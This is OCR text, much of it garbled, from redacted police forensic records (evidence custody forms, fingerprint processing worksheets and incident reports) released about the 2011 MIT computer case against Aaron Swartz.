[ <b>(e).<b)(7)<0)i (o)E) BXTE) CAM-FD
Transfer To Information
Location Shelt Bin
1D UNIT
Nﬂ?; Agency Name
{E)%&,EE)(?)(C) (E)(6),(b)(7HT) | CAM-PD
Custody Notatians

REPACKAGED ITEMS IN A SEALED LARGE BROWN PAPER BAG AND CONTAINS:
I ACER LAPTOP, 1 EXTERNAL HARDDRIVE COMPARTMENT W/ REMOVEABLE UNIT,

ELECTRICAL CORDS.
Custody Information
Transfer Type DT Transfercd
CHECKIN 02/03/2014 11:31:26
Entsred By: 1D 4 Na DT Entered
I (bX6). (X 7)(C)] loyoanon 11:31:26
Transfer Prom Informaticn
Agency N
(b)(8),(b)(7}(C) I(b)(ﬁ),(b)(?)(C) c AM.pgn
Transter To Information
Location Shel Bin
D LAB LOCKER
Agency Name
(Eg(ﬁlsl.(b)("f)(c) l (b)(8),(bX7)}C) CAM-PD

hitp://pd-rms2/QED//policepartner/common/crimeweb/prapview/main. jsp7itemnum=11000...

2651
44772011



| CRIME SCENE
Processing Worksheel

Caset: ||~ 6060«?% Typeofmme QOAIKW{Q( Q’WW

Date Processed: (M@V THFS Sun] !‘-l h‘ Tlme Processed [ OS_AM

Processi ‘
(b)(ﬁ) (b)(7)(C)
Technlcl

(b)(6).(b)7)C)

Det, Assigned

Ofﬂcers Asslstlng. /7 /7* 75«/66’ 55 ;

Suspect(s): o s M| Vietim{s):
/‘7’/7‘
Weather Conditlons: Scene Conditions: ° - ,
. —\ "8

, | Bricatn | TDurbia Bastment;
(@utdoors Sun(Cl_ouds Slorons clg ,\"\S \prs / ,0 -
Wet/Dry Approx. Temp:_: R C,Qn\*; Ju Mt Bk poctalgs
Other ! TR SO éﬁbL noQeo,

oo

@’?‘”
Total # of Packages Submitted: LPls

NOTES: "y /ilck o Q(QQQ_-# I ‘W (baouvent Wel)

~ACLe 1aPRP O~ sy, G & Vard (v - o.erect by @ Brawn CrtA boa-of
baX ;Ao Buvackd Nt mall via 106 Qetiets (2 Pl ) wall cppesie
v-?(usv, o TN VIR, CDA.\~&Q*!> iaptop o C‘SC" & Codalyst ddd m
ot TpugHZ.
~Mad:oonw i blﬁ M(T Posb-chinat.
Mfa—\azm % \Qvg% gralif on Wolle ¥ clozet
~ O LR T (L =D - AP, 1p¢ﬁﬁo€{bb
Havdt Sxive.- Pta:u,( HO 5 (QSLKI)?J s
PN LY 02 soppre 20

3 Q’”W*‘WZ g insiok sousde g hogcine

~ bogRe of olortec] ~ 1D
~ PO i Wi quo b

#of Photos: %6

Photas Taken: @ N

o Lot 4
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\ J
et

case #:_|[ - 0000 73

Tech §(bX6Y.(B)(7)(C)

e TR T
“liResults Vo
! A = LA

LP2- (1) &S-”Ou ogwdh\w S QYT
3 Q?nn* H”f‘ vwdotq UO{-SNL(. 2:
L?& U} ::fy“ ,u._.. .;:" ‘:ﬁ)b)( : ‘ PVQtL( Wi
Q%“*QQ‘""WU“GQ/W .
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~DR. -

P

EVIDENCE
Processing Worksheet

case :{}~ QQ QF€ Type of Crirmae: CO\/V\W Cmnal

(b)(8).(bXTXC)
Technlclan

e
Processing Locatlon: 125 Sixth st. (Statio’n)

Date Procassed: MT W@F S Sun) Zlﬁl “e‘ﬁhme Processed: [} 35

//0///

Date of Evidence Submission: ‘?—( ’b( H

Submitting Officer: (p?me:up

Suspect(s): Victim{s):
Adron QWARZTZ
Offt Assistt Dat_Acsionnd:
cers Asdlsting: BHETBNTHC)
//ﬂ/i/é'

Photes Taken: @ N #of Photos

-

)@o’f'a /.)[

Total # of Packages Subm itted: (Q

: | 3 i f.- d
o Comme QB0 an, 2] AN Yook picchanes 5%“(«?3121:%5 ‘;{)4‘(«4&
{or et (&]\f“‘)‘fr\\lt Wﬁ(j Weve S2alack T oAU i T Ua 2654



Case i = ‘
mchl b8).(BA7HC l

T LT W

L A S | R Ll S e L R
el ek PackageiTy et i Result S
i) | PR S e Y ;

AT RE |t A 2

¥ 17EM. 21 Rernceheed Y (& Mankav. 0/ eriginad
plaskie paltt aagra .
* ITEMS CSL, S22, CS2a, qupb% /A/@) AGBP
W arigiaad plashe packaning.

Mecsiudhat processed cm-'/%( i
A dirve @, scend.. Thishoude dgive
& NeroRasdd. gouve €%2a. corvtading

3 CANBYON D A 5 Py s s g Y B T A
“a7et Bud '..‘."(.\':bi NG e ;“}‘ b T

o ,MethOdmg

@ N{ AtS.Used Y (l;) oNA
Py “{ collected
P3N Fumoe SheiCYA altS-02. LRI0) Y {5 T e
Y @ Ninhydrin collected
(j N | Traditional Black Y Cry Balllstics
A Powder -y 4| collected R .
Other Pawders Y é) Other
= ; . " | reagents
Y @ Other ‘ :
techniques :
Date ‘Description of Casework Time Committed -

Ao kc,um.\&ozh'w\,\m)cuﬁ'w@
i I F\‘umg"*i et Q082..0

page {é of u%»

L o]
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Boston Police Department Report of the Latent

Physieal Comparison Unit Print Sectio
One Schroeder Plaza Tel,[(bXB).{b}THC)
Boston, MA 02120 Fax: §T7-343-5024

“CCH: 110099836  LAT#: 11-0192 Unit: Outside Agency Date: 3/7/2011
TntMdent:  Investigation for another Agency
Victim:  MIT '
Suspect(s): SWARTZ, Aaron  DOB: 11/08/1986
Tavestigator: Assigned
Examinaton Requested; Fingerprint Evaluation and Comparison
Item Examined;
Item1: Oue (1) CD, submitted by the Cambridge Police Department, confaining
fourteen (14) troages as follows:
: Twelve (12) images of latent LP8 reportedly recovered from the
“surface of au internal hard-drive unit”

Que (1) kinags of an incldent report
One (1) image of a ten-print card In the name of SWARTZ

Exemplar Avaflable for the following subject:
*‘Tew-priut imsge receivéd from Cambridge Police Department on ltem 1:
- One (1) eard of fen prints for SWARTZ, Aaron (OBTN# TCAM201 100032)

Resalts of ﬁxznﬂneﬂon:

Seryices Porformed;
A requost was made to evaluats the above listed evidentiary item for identifisble latent
impressions and compare any to the known impressions of SWARTZ.

Findings: . . .
Cambridge Police Department latent LP8 was assigned 1 A for the purpodes of

comparison within the Boston Police Department’s Latent Print Section.

One (1) latent, 1A, with sufficient ridge detail for individualization purposes wag found
onitem 1.
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1

CC# 110099836
LAT¥# 11-0192
Date: 3/07/2011
Page: 2

Latent 1A was compared 10 the exemplér prints for SWARTZ and was
INDIVIDUALIZED in the following manner:
1A - as his left thumb

.

The evidentiery latent will be maintained in the Latent Print Section.
Please notify us of any change in status regarding this case.
The resalts detalled in this report are supported by testing documentation. The

original supporting documentation ig.available for review at the uoit and may_
consist of worksheets, notes, lustru cut traclugs, and possible photographs.

fﬂmcu‘uméw%im / / __Reviewed by

(OHBY LU THCY (b)(8),(bX7XC)

) An ASCLD/LAB® Accredited Laboratory since 2009

Seniar Criminglist  {(E)(6).
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Boston Police Department Latent Print Ssetion

CCH (10090836  LAT
Analyst [PNCHOUTE

[b s‘jc |
Techuleal Revlcwe( HEMBNTN - Date ?z' 3‘“ _

FINGRRPRINT WORK SHEET AND ABSESSMENT OF DATA
v A. Do sample descriptions Histed Matoh the Chain of Custody Form?
L B. Were methods used in the proper sequence?
Ve C, Was a date recorded at the time any analysis/comparison techaique was performed?
ot D. Do notes and any indepeadent Analysls, Comparison end Evaluetion of any
prints support the findings of the 1eport?

[a] No Valus

[ ndividuatization 1A
Ellmlnation

Inconclusive
r'—'! Of Valse

E.  Doos the tochnical raviewer concur with findings of report?

)

Comuments:

(b)(6)(bYTHC)
Administrative Roviewer Date_ S/KIJL._.

A. CC #, LAT & and Evidence description match ths Chain of Custady Form?

B. Submitting agency, investigator, suspect, victim, DOB, CR#, CC¥ maich the
documentation within the cagefile?

Chaln of Custody completa?  Signed and dated appropristety?

Are all pages nurobered and initlaled on the Bxaminadon Documenta?

CCH snd LAT # written on all pages of the case file?

Has jnfarmation has boen entered into all relevant datobuses (BT, Peor Review Log,
AFIS/IAFIS, Firearm, etc.)?

. Are SID/CR #'3 accurate?

H. Have analysis ireages been added to the server?

m g n

RE MR

Commenls:
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|| " Boston Police Departntent Latent Print Section ll

LATENT PRINT COMPARISON WORKSHEET

ook 110099836 Start Date:l_;l_LLQle_gr_xI(l Date: 2 L{11.
LATE: __11-0192 Analyst _BYOLOBYTNC) | 44
Iocidont: ___lnv. For another agency Boge:__1__ . :
Itemds: L ‘Totsl Pages:_ Jo Qy & %\’

{ 1 ACCRSSRD VIRTUAL FOLDER PROM SBCURBD LATENT PRINT SBCTION ATORAGE AREA NETWORK

PACKAGING

{X] Manila envelops [ ) Bvidences cnvelope { ) Browm paper cvidence bag

( 1 Clotr pluitia evidenco bag [ ] Other — [ § Other

SECURED BY .

{ ] Yellow evidence tape { X ) Bnd ovidence tags [ | Blug evidence ape

{ ] Clear plastic tape { ] Other { )} Other,

MARKINGS

{XI Packaging [X] Seal (SD) 1X} Label {] other

110099836 (1)

PACKAGE/VIRTUAL FOLDER CONTAINED:

1: Ono (1) CD containing fourteen (14) images as follows:

Twelve (12) images are of & latent (described as LP8) reportedly from the “surface of an

intemnal hard-drive unit”

One (1) image is an incident report (sce pages 2-3)

One (1) image is a ten-print card in the name of SWARTZ, Aaron
(OBTN# TCAM201100032)

\ .
PROCESS: i
VIS/ Adobe Photoshop? sco page # [0 ACE- Eatent EP8 will be assigned LA for purposes of
comparison in the Boston Police Department’s Lateat Print Seotion.

RESULTS: TOTAL LATENTS: 1

[X] Sufficiont ridgs detait for individualization psposes prosont
Latent(s): __1A
Latent(e): Total: 1

[ ] Thentfielent ridge detai for individusHzation putposes presont
Latend(a):

Latent(a): . Totel: 0

[ X] No APIS searchos conducted ot this tims

AFIS8: Mot AFISable : Scarched as NO ADD Searchad as ADD
Lateny(s): )

[ X] NolAFIS searches conducted at thia time

TAFIS: _ _Not LAFiSable _Seerched 29 NO ADD

__ Searched as ADD
Latenf(s):

—
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CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

Incident Report #11000078
Report Entered: 02/11/2011 17:28:22

it ppa9 85

[l -@l9e

fny -th «,‘Gﬂuvﬁﬁﬁﬂv{
Lo

Pegt

CSH1: (1) mint tnplop: ACER, Aspiraong, SN: LUSAXaDco1001€ 1601, SNID: 00108566016, Laptop is
dogeribad as a black baso w! gliver top.
CS2: (1) Extomal haradriva compartimont: Silver w/ top & botlom that soparale lrom ooch ather exposing

an Intemal ramoveable unk (CS2b). Tha compartment reads, "RockotFish” on the top and boltom reads, “RF
3.5 SATA lid onclosure kit RF-AHD35" Inslda tho compartment Is & graan e'aclronie clrcult panel. A USB
card conneuts CS2 to CS81. ]
GS2b: (1) inner hard drive unll, or inemal removeable unit iocated inside CS2. Unit Is a Samsung,
Modsi: HD 184U, SN: S1Y68J1C2800326, .

4ot cd00 00 bt Do

The following evidenca oollected 0n Scane by me on 01/04/2011 and saeled (o 8 small coln anvelope.

LP1: (1) sga!'l clear nge liftar from the batiam rght comer of the baner hard-drive wikt (CS2b). Collocted at
rox. 1221 hows,
?gg: (1) small ctaar hinge Kfter rom the tap vight camer of the inney hazd drive unit (C52b). Caliected st approx.

4 hours.

L
hours,

LPS; (1) small daar hinge fifter from the upper rght corner of the laptop saréen (CS1). Gollootod at epprox.

1232 hours

Case Tihe Logafion Aptiunit #
MIT COMPUTER CRIMES 21 AMES STREEY 8LD 1
Date/Time Roporiad Date/Time Occursed
01/04/2011 10:49:00 to
tncidont Typea/Offeree
. 1.) WIBCELLANEOUS STATUTORY VIOLATION —
v Approving Ofticar
(B)(6).(bX7)(C) [{b)(e).tbx?)«:) I
Persong
Rols  _ Nome Sex _ Ruce Age Dbos Phone . Address
Offenders
Swmms Nams Sex Race Age DoB Phone Addresy
Vehicles
Property
Class Desaription Make Model Sedal # Value
Narrative
EVIDENGE: e EOEL, e
Tha tollowing ems ware documented an scene with notes and pholographs oy and not callacted at this ime.

22
LPa: m small cloar hinge lifer from the middie (eft slds of 1aptop sccean (CS1). Collected at approx. 1226 hours,
P4: (1) smai dsar hings lilter from the upper lait comer of the laglop scroen (C81). Collected at approx. 1230

LP8: (1) smail claar hinge Ier from the middle right side of the (aptop soreen (CS1). Collectad at approx. 1248

howrs,

LTI YL 1Y Y1 3

PHOTOS: (83) photos collecied on scene on 01/04/2011,
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LI TRTYY S TP PY2Y )

NARRATIVE: (B)}8).{b)(7}C)

On January 4, 2011, nd | reqponded to the MIT Pollce Statlipn ta aesh

occurad withn HLDQ #1168, Wae ware ascorted to the lacation by CPD Doleglive AT Datoctives
ang other Socrot Service Agants. At approx, 1105 haurs, wa arrived at Bldg 18 and procoaded 1 the

basemont lova! 10 a clogsst (Iabelnd #16-004t) that was sacured by MIT officers on scene. We obsoved

doubls doors oponing to a closot area containing phona and computer natwork postals according 1o MITIT
speclalists an sito. The closol was approx. 4 oot deop by 8 feet wide, the finor cavered In dust and
dlaciricalicompulor/chane panels lined the walls, some w/ wires pluggod into the panels/units. | observad a chalr
in the conter of the room with a faptop on top, We were advised this was placed there by MIT IT speciullats. On the
tioor, | algo ohservod a cardboard hox tumed avar, n smatl leplop (CSt), and a sliver harddrive compartmant (C$2)
with povar cords and data cables cannecting thom to tha compuler panela on the wall, Specifically, a grey

wiro conngcis tha  laptop to a Clsco Systems Catalyst 4008 in Row #4, piug #2.

walii B

Tho scona was documented with notes and photographs. Then | examined the luptop, herd-drive compasimant and
innar unit (CST, C52, C52b) and accompanylng power cords and USB cards for any visiblo ridgoe dota!ﬁa Faint ndgo
detall was observad an Lhe iaptop screen. | lumad the faptap, kard-drive and Innor unit (CS1, 82, GS2b) and
powerUSD cords with a portable fuming wand. | than used trardittonal binck Aingoprrint povator to anbiance

sny ririe dotall an the surfaces of those ftoms. Ridge datall was ehsorvad on the Inner hard drive unit (C32h)

and rogultod In 2 tatont print lins (LP |, LP2), Ridge datail wag niso obssrved surrouning the iaptop sereen (CS1)
rasulting [n 4 {alont print Uits (LP3-LPG). Mo further ridge datall wag obuerved on eny other surfaces.

...... ety et

The tems CS1, G52 and CS2b ware loft In the cusiody of MIT Detsclives and Secrst Sarvica Agente.
We cleared the scene at agprox, 1300 hours,



Boston Police Depertment Latent Print Sectlnn

#

20

Fogezf #alm

Left Thumb

DuCaxe

SWARTZ

LATENT PRINT COMPARISON WORKSHEET
oot 110000836 St Date: 34/2011 4
tate:  11-0192 Analyst:  Kbi(8) I

tneidan: 10V, for anothorAgs Page: . 4 ] &

Caiia. 30!

Type )

COTEEOLIpW

EVALUATION

MmUY

Nothing Follows

gy
SLAVLSIAY

Mtatifier: OBTNSTCAMAL 106032 Type Tea-Friat

udoy wp
) £2450 urye A oy
o urag patnQie Ay

segeRtapliney 9
A} T3) S )P (1

s}

V|V |V

13| Inpj ey
0} O 199131508 10% (T

SWARTZ, Azron

ANALYSIS/COMPARISON

§

g

Haatfa:
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Boston Police Department Latent Print Section

Frged Paxn

VERIFICATION
#6 L Thumb

LATENT PRINT COMPARISON WORKSHEET
ccx: 110009838 ' Start Date;  3(1/2011
LAY 11-0192 Anglyst;  [RHE BHAC)

o RO 1 T, b ey P

Oz W14
v

ats. RL

|

0w Card
SWARTZ

Uy nppY|

EVALUATION

QAN O]

Aed
E1LYUBILY|

wakyy o
\up R0 {38 SWp B2
= aniy pomnyto Sgmeod

iy I
03 T BRBUIE Gy

nothing follows

198 O ooy i O

ANALYSISICOMPARISON

Regroans
Reguueys:

Jaeatifmr: CETNS TCAMIBUINE? Type: ¢P

SWARTZ Asrog

A

¥.

Type:

Taps:

Iebercifer:

Regoas
Reguest:

Types
‘Type:

ldentficr;
Idenzfies.

[}
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CC#: 110099836 Start Date; 3/1/11
LAT#: 11-0192

- Analyst: Jah ‘6&0‘/
Incident: Inv. for another Agency Pago R _{ Qy

S et W
Latent 4 &0 awmzt'?‘%vm Cmﬂﬁmﬂw:tm

Shin (3)
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G 0
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0. 2us

One Schroeder Plaza

e Boston, MA 02120
byrABTMENT . 617-343-4465
DuieTimePrinieds 7202011 30433 PM e UnitID1 Pissara Anslyvis Unic
Custody Receipt
Traneaction Typer Check In . New [tem Status: Checksd In
Incident #: 110099836 Type: INVESTIGATION Date: 272572011
R Enrve rores argee e e FOR-ANOTHER S
GENC
e e s RS il el - =Sk
LAT #:11-0192
1 Item ID: 110099836-1
Cutagorys Forensics
Soarce; - other
Description: Assistencs to outsido ageacy.
Faquest for comparison af
Latent submitted.
Fucliity: Latent Priot Unit Lacation: Latent Print Unit

bX8).(BXT)(C)
oK —[ o 25 FEB 1/

O~ VANV A

To i) ) HC)

3'8“““: Date: M@ 174
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February 23, 2011

Hi Hb )8
I trully appreciate your help with this, I know the work load you are up against.

The submitted photos are of 1 Iatent, laboled LP8. It was developed on the surfucs of an
internal hard-drive unit. The photos are taken prior to any processing. Only an ALS was
usad. Once the item was fumed and processed the detail was minimized or lost,

" Thank you again. Fecl free 10 contact me with questions or to allow me to retum the favor
of assisting you with any castwork.
(b)(6).(bX7)(C)
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Main Form

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

Property Custody

Page | of 3

Proporty item tntormation

Ageney Name Tucldent # Tug Numbee Classification

CAM-PD 11000078 11000078-5 EVIDENCE

Curront Location Shelr Bin

ID UNIT

Current Stum DT Status

ACTIVE 02/22/2011 17:01:52

JEntered By: 1)/ Nane DT Entered

(b)6).(bX7NC §02/22/2011 16:50:13

Updated By: 1D/ Nuune DT Updated
(b)(8).(b)(T)(C){02/22/2011 18:15:21

hup:!/pd-nnsleED//policcparmet/commonlcrimeweb/propview/main.jsp?itcmnumz

1000... 47201



Main Form Page 2 of 3

{tem Description

Property Type Quaniity Batimated Value
IPHOTOS
Desceiption
(85) PHOTOS TAKEN ON SCENE

Maks Model Color Serfal Nwnber

Owner information
Name MN§ Number Phone

Address City State Zlp Cods

Notations

{Notation #: 1 Type: AUDIT
|ID7 Namae |DT Enterea

[ ()(B).ONTHC)03/09/201 1 20:10:46

2669
hutp://pd-rms2/QED//policepartaer/common/crimewebipropview/main.jsp?itemaum=11000... 47772011



Main Form Page 3of 3
Custodies
Custody Information
Trander Type DT Teansfered
MOVE 0170472011 13:05:45
DT Butered
®X6)EXNTXCY 022212011 18:15:21
Transter From Information
Lacation Shelt Bin
CRIME SCENE
cor 1D Agency Name
(b)(8),( 6),
e | Eil "(Eﬁ( )XY I CAM-PD
I'ransfer To Information
Location Shelt Bin
ID UNIT
1e)/OMicer D ay Agency Name
R ®X8.O7KC)]  {CAM-PD
Custody Infonnution
Transfer Typo OT Transfered
MOVE 01/04/2011 13:05:52
Enteced Ry IN 2 Name UT Entered
bX&)OXTXC)|  |02/22/2011 17:01:52
Transter From Information
Personnel/Officer 1D Name Agency Name
(bX8).0)X7)C)  [(B)E)LBXNIT) | |cAM-PD
Traasfer To Information
Loeation Shelt Bla
CRIME SCENB
PersaancV/Officer ID \ Agreacy Name
[GXELEY7NCY 1 (bX8).(b)(7)(C) CAM-PD
hnp:l/pd-mmﬂQED//policcpartncr/common/cn’meweb/propviewlmaln.jsp?itemnumullOOO... 41'7/2%)617?



Main Form Page 1 of 2

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

Property Custody

Proporty item Information

Ageacy Namse Jucident # Tag Number Classification
CAM-PD 11000078 {1000078-6 EVIDENCE
Currem Location shalt Bin

[D UNIT

Curreat Status DT Status

ACTIVE 02/222011 17:02:30
Wﬂm__. DT Eatered

(B)8). (b)7XC) 0212212011 17:01:52
Updated By: ID / Name DT Updated

(DXBLBY7NC) 02/22/2011 17:02:30

hitp://pd-rms2/QED//policepartner/common/crimeweb/propview/main. jspZitemnums1 1000... 4nndiy’



Main Form

Pago20f2

ltem Descriplion

Property Type
PHOTQS

Quantity
7

Estimated Vatus

Desceipton

[(7) PHOTOS TAKEN OF EVIDENCE PACKAGING

Make

Moadel

Color

Serial Number

Owner information

Nams

MNI Number

Addresy City

Stute

Zip Code

Notations

Notation #: 1 Type: AUDIT

I/ Name

(B)(6).{(bX7XC)

_1

DT Batered
03/09/2011 20:11:03

Custodies

Custody Information

‘Tronsfor Type
CHECKIN

DT Translered
02/03/2011 17:02:30

Eatered By: 1D/ Nonte
(6)(8).(EX7)(C) I

DT Entered
02/22/2011 17:02:30

Transfer From Information

Persoanct/Officer ID

[6Y8)EY7) |

Name

(£)(6),(b)(7)(C) l

Agency Nama
CAM-PD

Transfer To Information

Location
ID UNIT

Shelf

Bin

{ Personnc/Offtcer (D
{bX}B).(bX7)HC

Nam
i(b)(ﬁ).(b)(7)(c) I

Ageucy Name
CAM-PD

hetp:/ipd-rms2/QED/fpolicepartner/common/crimeweb/propview/main,jspitemnum=11000...

4r1nbiTt



Main Form

CAMBRIDGE POLICE DEPARTMENT

Page 1 of 1

CAMBRIDGE, MA
Property Custody
Property Rem information
Agency Name Incident # Tag Number Qlassification
CAM-PD 11000078 110000784 EVIDENCE
Current Location Sholt Bin
ID UNIT
Current Siatus DT Status
ACTIVE 02/22/2011 16:50:13
ﬁmn:m;ml.uam____. DT Entered
[BY&EXNC) 0212212011 16:48:49
Updeted By: ID / Name DT Updated
(0)(6).(b)7)(C) 02/22/2011 16:50:13
Iltem Description
Propecty Type Quaniity Estimated Yalue
LATENT LIFTS 4
Descriptivn
(4) SMALL CLEAR HINGE LIFTERS
Msake [Modal Color Serial Number
Ownar information
Name MNI Number Phone
Addvresa City State Zip Code
Custodies
Custody Information
‘Transter Type LT Transfered
CHECKIN 02/10/2011 09:53:13
Butered iy: D/ Name . DT Eotered
(b}(8).(b)(7)(C) [ tozn’zzzou 16:50:13
Transfer From Information
| Personnal/Offoer 1D [Name Ageaty Name
(BX(B).B)7KC) J(6)8).(b)7XC) | CAM-PD
Transfer To Information
Locatlon Sheit Bin
ID UNIT
Persunnet/Officer ID {Name Agency Neme
(b)(6).(b}7HC (b)(8),(b)(7) CAM-PD

htp:/fpd-rms2/QED//policepartner/common/crimeweb/propview/main, jspTitemnum=11000...

2673
4/112011



Main Form Page | of 4

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

Property Custody

Propaity Hem Information
Agency Name Incident # Tag Number Classification
CAM-FD 11000078 11000078  |EVIDENCE
Current Status DT Status
ACTIVE

: DT Entered
BYE)ENTIC) l 02/03/2011 11:24:59

s 1D/ DT Updated
(bX6).(bX7)(C) 02/25/2011 09:03:51

http://pd-rmsZIQEDl/policepanncr/commonfcrimeweb/propvicw/main.jsp?itcmnumal1000... 4181



Maiag Form

Page2 of 4

Itom Description

Praperty Type

COMPUTER HARDWARE/SOFTWARE

Quantity Eatimated Value

Descriptlon

1 SEALED PLASTIC BAG WITH | THUMD DRIVE

Make Model Color {Serial Number
Owner Information

Name MNI Nwinber Phoae

Address Clty “IState Zip Code
Notations

Notation #: 1 Type: AUDIT

1D/ Name DT Batered

(b)(6).{b)(7)C)

02/03/2011 11:27:24

Notation #: 2 Type: NOTATION

D / Nome DT Entered
{b)}(8),(PX7)C) | 02/25/2011 (09:04:49
Notation Text

removed after audit By detl(b)(e)'(b) |

http:/fpd-rms2/QED//policepartner/common/crimeweb/propview/main.jsp?itemnum=11000.., a6



Page 3 of 4

Main Form

Custodies
[Cistody lnformation

Traoster Type |DT Transfored
[CHECKOUT 02/25/2011 09:03:51
lg.nemg By; 1D/ Nping DT Bntored
(D)(B),(bY7)C) I 02/25/2011 (09:03:51
Transfer From {nformation

PersonnelOificer ID N Agency Name
q(E)(G).(E)G) l (bXB).(BY7)(C) CAM-PD
Trangfer To Information

Officer ID Agency Name
b){6), C

Code Name Business File
SS SS _

External Person Neme Lab Subniesion Number

Custody Nowattons BNE).BNT)

TAKED BY DET|(c) FOR WARRENT

Custody Iuformation

Transfer Type DT Trandered

MOVE 02/11/2013 15:50:35
|Entered By: 1D / Nu DT Entered
(BXB).(bY7XC) I 0272272011 15:50:35
Transter From Informatioa

Location Shetf Bio

D UNIT

I ¢ M Ageticy Name

( p)‘(s),(b)a ) I {B)(8),(B)X7XC) hCAM—PD
Transfer To Information

Locatlon Shalf Bia

ID LAB LOCKER

PecsonsiclOfficer ID i Agency Name
Sgﬁs),(b)m (b)(8).(bK7)C) CAM-PD
Custedy Notations

I'TEM REPACKAGED IN A SEALED MANILA ENVELOPE AND CONTAINS
ORIGINAL PLASTIC PACKAGING AND 1 FLASH DRIVE.

http://pd-rms?JQED//policeparmer/common/crimeweb/propview/maln.jsp?itemnum:! 1000...

2676
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Main Form Page 4 of 4

Custody Information

Tranafer Type DT Transfered

MOVE 02/03/2011 11:35:03

Eatered By 1D/ Ng DT Entered

(b)(8).(BN7)C) | 02/222011 15:50:03

Transfer From Information

Location Shel? Bin

ID LAB LOCKER

Personiel/OfTicer ID Agency Name

(B)(6).(BX7T) <m7"1_—|bxe BX7IC). CAM-PD

Transfer To Information

Losstion Shelt Bln

1D UNIT

Perxanncl/Officyr ID Nemsg Agency Name

(2)56).(b)(7) (b)(8).(b)(7X(C) B CAM-PD

Custody Information

Transfer Type DT Transfered

CHECKIN 02/03/2011 11:27:23
: H DT Entered

(B)(6).(B}7)(C) 02/03/2011 11:27:23 .

Tranefer From Iaformation

Peeronue)/Oiftcer 1D Nusne Agency Name

(0)(6).(b) l(b')' B)EN7NC) | CAM-PD

Transfer To Information -

Location Sheit Bin

ID LAB LOCKER

Po iOfficer ID Neme E Agency Name

52)\(6).(13)(7) i (b)(6).(bXT)C) CAM-FD

77
http://pd-rms2/QED//policepartner/common/crimeweb/propview/main, jsplitemnum=11000... 4/7/26? l



Main Form Page 1 of 2

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

Property Custody
Proporty Rem Information
Agency Narae Incident # Tag Number Classification
CAM-PD 11000078 11000078-7 EVIDENCE
Carcent Location Sheit 8in
D UNIT
Current Status DT Statas
ACTIVE 02222011 17:05:37
Haterod By: ID / Name DT Entered
(B)E).(EX7)C) B 02/22/2011 17:02:30
Updated By: 1D/ Name DT Updated
[®XB).BXTNC) l 03/31/2011 20:40:21

http://pd-rms2/QED//policepartner/common/crimeweb/propview/main.jspitemnum=11000.., 4/7/3001



Main Porm

Page 2 of 2

item Description

Property Type Quantity Estimuted Value

PHOTOS 58

Description
(58) PHOTOS TAKEN OF EVIDENCE SUBMITTED

Make Model Color Serisl Nomber

Ownaor Information

Name MNI Namber ‘Phou

Address City State Zip Code

Notations

Notation #: 3 Type: AUDIT

1D/ Namg DT Entered
[©)XB)BXTNC) 1 03/09/2011 20:11:17

Custodies

Custody Information

Transfer Type
CHECKIN

0T Transfered
02/10/2011 17:05:37

DT Entered
02/22/2011 17:05:37

(B e — ]

Transfer From Information

Pervonnel/OMicer IN
(b)(8),(B) |
PL IVI-NE

Nay
(b)(6).(bN7XC)

Agency Nams
CAM-PD

Trandfer To Information

Locatton
ID UNIT

Shelf

Personnel/()(Tlcer 1D
(D)(6),(b)(7)

{alY

<§»(6§.<b)(7)("5—c ‘

Ageney Name
CAM-PD

Custody Notations

SS—

PHOTOS SECURED JN.ID UNIT PHOTO FILE IN ACCORDANCE WITH
PHOTO SUBMISSION STANDARDS.

htp://pd-rms2/QED//policepartner/common/crimeweb/prapview/main jspTitemnum=11000...

anifii



Maia Form Page 1 of 3

CAMBRIDGE POLICE DEPARTMENT
CAMBRIDGE, MA

\ / Property Custody

Propenty item intormation

Agency Name Incident § Tag Number Classiffeation
CAM-PD 11000078 11000078-3 EVIDENCE
Current Location Sholf Bin

ID UNIT

Current Status DT Statvs

ACTIVE 027222011 16:48:48

Entoved By: 1D/ Name DT Eatered
[<b)<6).<b)('—7)(c') I 022272011 16:43:11
H DT Updated
e D) | 04/07/2011 16:40:37

2680
hnp:l/pd-rmleQEDI/policepnnnerlcommon/crimeweblpropview/main.jsp?itcmnum:l 1000... 47772011



Main Form

Page 2 of 3

{itom Descrlption

{Property Type Quantty Pximated Valae
LATENT LIFTS 6

Description

(6) SMALL CLEAR HINGE LIFTERS

Make Model Color Serial Number
Owner Information

Name MNI Nomber Phone

Address City State Zig Code

81
http://pd-rms2/QED//policepartner/common/crimeweb/propview/main jsplitemnum=11000... 4!7/26 1

RIF




Main Form Page 3 o1 3
Custodies

Custody Information

Teancler Type DT Trausfered

MOVE 01/04/2011 13:05:19

Entered By: ID / Nama DT Entered

(5R35,(b)(7)(0) | 02/22/2011 17;19:17

Transfer From Information

Lacation Shelf Bin

CRIME SCENE

Perswonnel/OfMeer I i Agency Name

[ b)(6),(b)(7) | (bXB).(bXT7HC) CAM-PD

Transfer To Information

Location Shelf Bfo

ID UNIT g

PersonnclOfMcer ID Nutue Agency Namag
(L)(B).(b)(7) l (b)(8),(bM7)(C) CAM-PD

Custody Notgtiens

ITEMS SECURED IN ID UNIT CASE FILES,

Custody Information

Transder Type DY Trsuslered
CHECKIN 0170472011 12:21:48
Eotered By: D/ Nams DT Entered
(h)(8).(b)(7)(C) 02/2272011 16:48:48
Transfer From Tnformation

Persoanel/Dffieer ID [Name Ageney Namo
(b)(6),(b) l(b)(ﬁ)'(b)(7)f C) j CAM-PD
Tranifer To Information

Location Shelf Bin

CRIME SCENE

Persoonel/Officer 1D Name Ageacy Namo
(0)(8),(6X7) | [(0)(8).(BX7)C) 1 CAM-PD
http:/lpd—nnsZ/QED//polxcepartner/common/crimeweb/propv:ew/mam.Jsp‘?xremnumalIOOO.,, 41772



CAMBRIDGE POLICE DEPARTMENT e 1.0t 2
CAMBRIDGE, MA
Incident Report #11000131

*

Approvad. vy Public View Date/Timo Printed: Tha Ape 07 16:33:17 BDT 20 By[(LX8).(b)

Case Title Locat on (7XC)
24 LE® 31

Dare/Tirne Reported Date/Time Occurred

01/06/2011 14:18:00 to

Incident Type/Cffense
B&4E DARTIME YOR FBLONY o268 S18(266/16/8)

ole Narne Sex e Age pOB Phone Addrass

lhome)

tome)
ith

e Oienderss

Name Age D08 °hone

y |pBrasDAsT SWARTZ, AARON H MALB [WHITR |24 [11/08/1986 DEOE ‘(b)(e"‘ XTHC)
Mhvame]
(ol

